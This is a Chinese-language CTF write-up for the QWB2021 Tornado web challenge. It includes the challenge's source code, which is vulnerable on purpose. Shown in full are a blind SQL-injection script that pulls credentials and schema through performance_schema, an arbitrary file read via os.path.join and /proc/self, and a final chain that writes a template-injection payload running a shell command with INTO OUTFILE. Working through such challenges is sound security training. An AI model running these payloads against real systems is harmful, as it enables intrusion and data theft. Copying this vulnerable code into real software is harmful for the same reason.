参考guoke师傅的wp:https://guokeya.github.io/post/SZkQ4b1G/
出题人思路:https://www.anquanke.com/post/id/244153#h2-4
参照上面链接的两篇文章大致梳理下知识点和思路。

在buu上做了一个复现,但buu上的环境不知道是改了啥,sql注入出密码之后,登录那一直提示不是admin用户,导致后面无法读文件。还以为是注入得到的账户密码有问题,瞎折腾了半天。

没有登录的话会被直接重定向。

这题开始为一个登录框,注入点在register.php,fuzz一下会发现过滤了一些关键词,特别是tables coluns。
Guoke师傅用的是performance_schema.file_instances拿到对应的数据库文件路径。
例如test数据库,数据库文件路径就是/var/lib/mysql/test/表.frm

mysql会纪录执行的sql语句到performance_schema.events_statements_summary_by_digest
同理select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest即可得到表结构

import requests
import time
for a in  range(1,50):for i in range(130,-1,-1):if(i<30):exit(0)url = "http://4b268355-1ff6-47e8-95e7-92d66d4435d5.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select group_concat(qwbqwbqwbuser,0x7e,qwbqwbqwbpass)  FROM qwbtttaaab111e )," + str(a) + ",1)) in (" + str(i) + ")),1,0) or '0&password=12"#admin~glzjin666888#url = "http://dd75b670-cb6d-4309-ad9e-7890cb7a6ca8.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select (DIGEST_TEXT)  FROM performance_schema.events_statements_summary_by_digest where SCHEMA_NAME in ('qwb') limit 2,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"#INSERT INTO `qwbtttaaab111e` ( `qwbqwbqwbuser` , `qwbqwbqwbpass` ) VALUES (...)#url = "http://dd75b670-cb6d-4309-ad9e-7890cb7a6ca8.node3.buuoj.cn/register.php?username=' or  if((ascii(substr((select (file_name)  FROM performance_schema.file_instances limit 150,1),"+str(a)+",1)) in ("+str(i)+")),1,0) or '0&password=12"time.sleep(0.5)r = requests.get(url)if 'this username' in r.text:print(chr(i),end='')breakelse:if('success' in r.text):passelse:print(r.text)

得到账户为admin 密码为glzjin666888

而出题人是利用processlist表读取正在执行的sql语句,从而得到表名与列名。

后面如果按照预期的话,就是读文件了,有个图片读取的接口,利用这个接口进行任意文件读取。过滤了.py结尾或者含有flag的文件。
任意文件读用的是os.path.join,原理解释:新型任意文件读取漏洞的研究
1、/proc/self/cmdline 这个文件可以看到我们的python应用运行的文件夹
2、/proc/self/environ,这个文件可以让我们看到一些重要的属性,比如本WEB服务的权限为mysql用户权限。
当py文件无法读取时可以尝试下pyc文件,读取后进行反编译。pyc文件是有一定的命名规则的,可以去app.py的目录寻找pyc文件。pyc的命名规则为__pycache__/文件名.cpython-2位版本号.pyc,这里文件名为app,版本号需要爆破一下。

反编译的话用在线工具或者uncompyle6工具。

/good_job_my_ctfer.php路由对应的处理部分,有个ssti,但过滤的很死。不过可利用extends操作,包含渲染文件从而达到一个ssti的效果。

由/proc/self/environ文件可知,该python应用为mysql用户权限启动,可以直接考虑通过之前sql注入点用into outfile语句写文件。
在mysql中默认导出目录为/var/lib/mysql-files/,其他目录是没有导出权限的,因此将文件导出至该文件夹。
然后通过{%extends /var/lib/mysql-files/xxx%}来包含模板文件,从而执行任意ssti的payload。

最终exp:

/register.php?username=test&password={% set return __import__("os").popen("cat  /flag").read()%}/register.php?username=test' into outfile '/var/lib/mysql-files/test&password=123/good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/test%}

最后附上题目源码:

import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'class MainHandler(tornado.web.RequestHandler):def get(self):user = self.get_secure_cookie('user')if user and user == b'admin':self.redirect('/admin.php', permanent=True)returnself.render('index.html')class LoginHandler(tornado.web.RequestHandler):def get(self):username = self.get_argument('username', '')password = self.get_argument('password', '')if not username or not password:if not self.get_secure_cookie('user'):self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')returnif self.get_secure_cookie('user') == b'admin':self.redirect('/admin.php', permanent=True)else:self.redirect('/', permanent=True)else:conn = pymysql.connect('localhost', db_username, db_password, 'qwb')cursor = conn.cursor()cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username, password])results = cursor.fetchall()if len(results) != 0:if results[0][1] == 'admin':self.set_secure_cookie('user', 'admin')cursor.close()conn.commit()conn.close()self.redirect('/admin.php', permanent=True)returnelse:cursor.close()conn.commit()conn.close()self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>')returnelse:cursor.close()conn.commit()conn.close()self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')returnclass RegisterHandler(tornado.web.RequestHandler):def get(self):username = self.get_argument('username', '')password = self.get_argument('password', '')word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']for ban in word_bans:if re.search(ban, username, re.IGNORECASE):self.finish('<script>alert(`error`);history.go(-1);</script>')returnfor ban in bans:if ban in username:self.finish('<script>alert(`error`);history.go(-1);</script>')returnif not username or not password:self.render('register.html')returnif username == 'admin':self.render('register.html')returnconn = pymysql.connect('localhost', db_username, db_password, 'qwb')cursor = conn.cursor()try:cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % username)results = cursor.fetchall()if len(results) != 0:self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')conn.commit()conn.close()returnexcept:conn.commit()conn.close()self.finish('<script>alert(`error`);history.go(-1);</script>')returntry:cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username, password])conn.commit()conn.close()self.finish("<script>alert(`success`);location.href='/index.php';</script>")returnexcept:conn.rollback()conn.close()self.finish('<script>alert(`error`);history.go(-1);</script>')returnclass LogoutHandler(tornado.web.RequestHandler):def get(self):self.clear_all_cookies()self.redirect('/', permanent=True)class AdminHandler(tornado.web.RequestHandler):def get(self):user = self.get_secure_cookie('user')if not user or user != b'admin':self.redirect('/index.php', permanent=True)returnself.render('admin.html')class ImageHandler(tornado.web.RequestHandler):def get(self):user = self.get_secure_cookie('user')image_name = self.get_argument('qwb_image_name', 'header.jpeg')if not image_name:self.redirect('/', permanent=True)returnelse:if not user or user != b'admin':self.redirect('/', permanent=True)returnif image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:self.finish("nonono, you can't read it.")returnimage_name = os.path.join(os.getcwd() + '/image', image_name)with open(image_name, 'rb') as (f):img = f.read()self.set_header('Content-Type', 'image/jpeg')self.finish(img)returnclass SecretHandler(tornado.web.RequestHandler):def get(self):if len(tornado.web.RequestHandler._template_loaders):for i in tornado.web.RequestHandler._template_loaders:tornado.web.RequestHandler._template_loaders[i].reset()msg = self.get_argument('congratulations', 'oh! you find it')bans = []for ban in bans:if ban in msg:self.finish('bad hack,go out!')returnwith open('congratulations.html', 'w') as (f):f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)f.flush()self.render('congratulations.html')if tornado.web.RequestHandler._template_loaders:for i in tornado.web.RequestHandler._template_loaders:tornado.web.RequestHandler._template_loaders[i].reset()def make_app():return tornado.web.Application([('/index.php', MainHandler),('/login.php', LoginHandler),('/logout.php', LogoutHandler),('/register.php', RegisterHandler),('/admin.php', AdminHandler),('/qwbimage.php', ImageHandler),('/good_job_my_ctfer.php', SecretHandler),('/', MainHandler)], **settings)if __name__ == '__main__':app = make_app()app.listen(8000)tornado.ioloop.IOLoop.current().start()print('start')

[QWB2021 Quals]陀那多/托纳多相关推荐

  1. [强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录

    给自动化代码审计的大佬跪了. 出题人写的WP在这里:强网杯[pop_master]与[陀那多]赛题的出题记录 复现可以到BUUCTF,启动[QWB2021 Quals]popmaster这道题就ok. ...

  2. BUUCTF-模板注入专项刷题

    SSTI: 目录 简单 [CSCCTF 2019 Qual]FlaskLight 签到 [BJDCTF2020]Cookie is so stable twig模板注入 [WesternCTF2018 ...

  3. IEEE Spectrum调查:AI 的 6 种最坏情况

    来源:AI科技评论 编译:辛西娅 审核:维克多 对于人类社会,人工智能(AI)带来的最大威胁是什么?好莱坞科幻电影的"想象"提供了答案:它逐渐进化,获得人类思考能力,然后变成霸主, ...

  4. 美术的故事 —— 那些用技术创造艺术的游戏开发者

    他们不仅仅只是游戏美术,他们还是想去触摸未来的人. 当世界上第一只基于三维计算机图形技术制作的手部模型出现的时候,就已经有很多人开始想象未来的样子.而随着硬件技术的逐渐发展,许多曾经的构想逐渐变成了现 ...

  5. 动人配乐是如何炼成的?带您了解《花之灵》背景原声的幕后制作秘辛

    <花之灵>(Hoa)现已于杉果游戏商城及Steam平台正式发售,游戏发售首日便拿下了新品与热门商品销量榜第一名.92%特别好评的优秀成绩.玩家们除了盛赞本作出色画面外,也对游戏中对情绪渲染 ...

  6. 论文阅读:超高分辨率图像中快速、准确的条码检测

    摘要 由于目标对象的尺度不同,超高分辨率 (UHR) 图像中的对象检测长期以来一直是计算机视觉中的一个具有挑战性的问题.在条码检测方面,将 UHR 输入图像调整为更小的尺寸通常会导致相关信息的丢失,而 ...

  7. 创新洞见|2023年B2B业务为何必须采用PLG增长策略

    随着采用PLG模式的大型企业数量不断增加,91%的公司计划在2022年增加对PLG战略的投资,市场上已经验证了PLG公司的表现优于其竞争对手,规模增长更快,并拥有更高的企业价值(EV).PLG象征着购 ...

  8. Python爬虫任务1

    1 爬虫入门 1.1 Requests Get r = requests.get('https://www.baidu.com')r.encoding = 'utf-8'print(r.status_ ...

  9. 西西里的美丽传说:美的绽放、挣扎与凋零

    <西西里的美丽传说>是由朱赛佩·托纳多雷执导,莫妮卡·贝鲁奇.圭塞佩·苏尔法洛等主演的剧情片,于2000年在意大利上映. 电影的开头,有一个意味深长的镜头:一群小男孩围在一起,用放大镜对准 ...

最新文章

  1. ubuntu修改新增用户的目录_Ubuntu 18.04下创建新用户/目录、修改用户权限及删除用户的方法...
  2. Redis工具类的封装
  3. Xcode 9“ iPhone忙:准备对iPhone的调试器支持”
  4. POJ 1001 Exponentiation C++解题报告 JAVA解题报告
  5. 1、python的基础
  6. 互联网公司前端初级Javascript面试题
  7. hdu 6194 后缀数组
  8. 六种方式实现hibernate查询
  9. 完善区块链产业链 加速经济数字化转型
  10. VxWorks程序一下载就停住了
  11. 计蒜客---N的-2进制表示
  12. 《C语言及程序设计》程序阅读——数组与指针
  13. Mac电脑下的单片机开发环境配置心得
  14. 航空订票系统php,C++版数据结构航空订票系统源代码.doc
  15. 制度决定成败:揭秘思科顶层设计的秘密
  16. STM32F103_study52_The punctual atoms(STM32 The running light experiment )
  17. scikit-opt的使用
  18. 关于VMware 15:在部分链上无法执行所调用的函数,请打开父虚拟磁盘
  19. C++中的友元函数、static函数、常函数小结(理论篇)
  20. 关于VS项目平台的x86,x64,Any CPU以及Debug和Release的区别

热门文章

  1. spice 0.14.0添加新功能
  2. 联想服务器维护 - System X 3650 M5
  3. 日本雅虎乐天商城批量上传步骤
  4. 【Ansible自动化运维工具】Ansible变量之lookup生成变量方法
  5. 无法删除文件或文件夹的原因和解决方法(转)
  6. vue-cli3 接口api代理 308 Permanent Redirect
  7. 如何查看计算机网络密码是什么意思,如何查看电脑用户名_如何查看电脑网络密码...
  8. GDCM:SCU验证的测试程序
  9. XP SP3 IIS 5.1版本安装包下载地址和XP SP3 IIS 5.1版本安装方法
  10. 【javaScript】获取某年某月的的最后一天(即当月天数) 妙用